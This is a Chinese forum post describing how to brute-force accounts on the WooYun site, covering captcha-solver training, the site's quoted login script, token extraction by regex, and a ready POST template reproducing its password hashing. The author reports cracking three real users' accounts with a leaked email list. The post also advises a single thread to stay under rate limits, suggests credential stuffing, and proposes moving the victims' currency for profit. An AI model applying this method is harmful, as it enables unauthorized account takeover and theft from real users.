TA的每日心情 | 开心 2016-3-17 12:42 |
---|
签到天数: 3 天 连续签到: 1 天 [LV.2]偶尔看看I 扫一扫,手机访问本帖
|
Author:数据流
工具下载 http://zone.wooyun.org/content/25606
乌云验证码 http://wooyun.org/captcha.php
乌云验证码使用了不同颜色的背景
而第一种背景的二值化阀值是22
另一种的阀值的是220
工具里可以直接填写两个阀值,当22识别不出就会用220的阀值进行分割
到字符设置界面,手动输入验证码进行训练(回车输入,Esc键忽略当前验证码,跳入下一张验证码)
采集了20多张准确率在100%了,直接文件-保存,导出配置文件。
然后打开F-Login
先分析下乌云的登陆过程
http://wooyun.org/user.php?action=login
<script type="text/javascript">
var loginToken='ae84d802d8ed63fe1b962ceccaf1e961r8e96ta8ugsde54qlhiijj0a67';
。。。。。。
$(function(){
$('#subbtn').click(function(){
var email=$('#email').val();
if(email==''){
alert(_LANGJS.EMAILL_NULL);
return false;
}
var pwd=$('#pwd').val();
if(pwd==''){
alert(_LANGJS.PASSWORD_NOTING);
return false;
}
var captcha=$('#captcha').val();
if(captcha==''){
alert(_LANGJS.CAPTCHA_NULL);
return false;
}
captcha=captcha.toLocaleLowerCase(); //验证码转为小写
pwd=htmlspecialchars(pwd); //密码html转义
pwd=addslashes(pwd);
pwdnew=hex_md5(hex_md5(email+hex_md5(pwd))+captcha); //MD5(MD5(登录邮箱+MD5(密码))+当前验证码)
$.ajax({
type: "post",
url: "user.php?action=login&do=login", //登陆请求地址
data:{
token : loginToken,
email : email,
password : pwdnew,
captcha : captcha
},
dataType: "json",
success: function(data){
if(data.code=='A0001'){
alert(data.msg);
location.href=data.url;
}else{
location.href ='/';
}
}
});
});
});
。。。。。。
</script>
除了登陆密码使用多种加密,而且还有token
表达式token=('|")(?<token>.*?)\1
var loginToken='ae84d802d8ed63fe1b962ceccaf1e961r8e96ta8ugsde54qlhiijj0a67';
这项使用F-Login的内置函数可以轻松替换
${表达式}(区分大小写 仅URL中生效)
内置变量:
USER -> 用户名
PASS -> 密码
VER -> 验证码
REG[name] -> 正则匹配的数据
内置函数:
string UPPER(string text) -> 转换成大写
string LOWER(string text) -> 转换成小写
string MD5_16(string text) -> 获取16位md5(utf8)
string MD5_32(string text) -> 获取32位md5(utf8)
string BASE64(string text) -> 获取base64字符串(utf8)
string MD5_16(string text,string charset) -> 获取16位md5(指定编码)
string MD5_32(string text,string charset) -> 获取16位md5(指定编码)
string BASE64(string text,string charset) -> 获取base64字符串(指定编码)
double RND_D() -> 返回 0-1之间的随机浮点数
int Rnd_I(int nStart,int nEnd) 返回nStart-nEnd(不包括nEnd)之间随机整数
如:
http://www.baidu.com/login.php?u=${USER}&&p=${MD5_32(PASS+UPPER(VER))}&&v=${UPPER(VER)}
http://www.baidu.com/login.php?u=${USER}&&p=${BASE64(VER)}&&v=${VER}
http://www.baidu.com/login.php?u=${USER}&&p=${BASE64(VER,"utf-8")}&&v=${VER}
http://www.baidu.com/login.php?u=${USER}&&p=${MD5_32(VER,"gb2312")}&&v=${VER}
注:密码字典支持通配符
{USER} - 将被替换成字典中的用户名
- 用户名若是邮箱替换成@左边部分
{DL} - 域名左边部分(前缀)
{DM} - 域名中间部分
{DR} - 域名右边部分(后缀)
后三者需要从界面手动输入
若没有输入字典出现对应通配符时忽略该密码
代理字典格式:
IPORT
根据内置函数可构造出
token=${REG[token]}&email=${USER}&password=${MD5_32(MD5_32(USER+MD5_32(PASS))+LOWER(VER))}&captcha=${VER}的POST数据
乌云登陆错误返回的是一串带有unicode的字符
注意此处的特殊字符要用斜杠转义
感谢@Jeary提供的乌云用户email,我们用非常简单的字典进行小范围测试,就爆破出三个账号了。估计精心构造一个字典和撞库可以爆出不少
爆破出来的账号都是路人,另外乌云网站本身有限制,要是超过2个线程就会出现操作异常,无法继续爆破。建议爆破测试使用一个线程。
还可以转走wb
看了下某宝 我觉得我们又发现一个财路了。。
|
|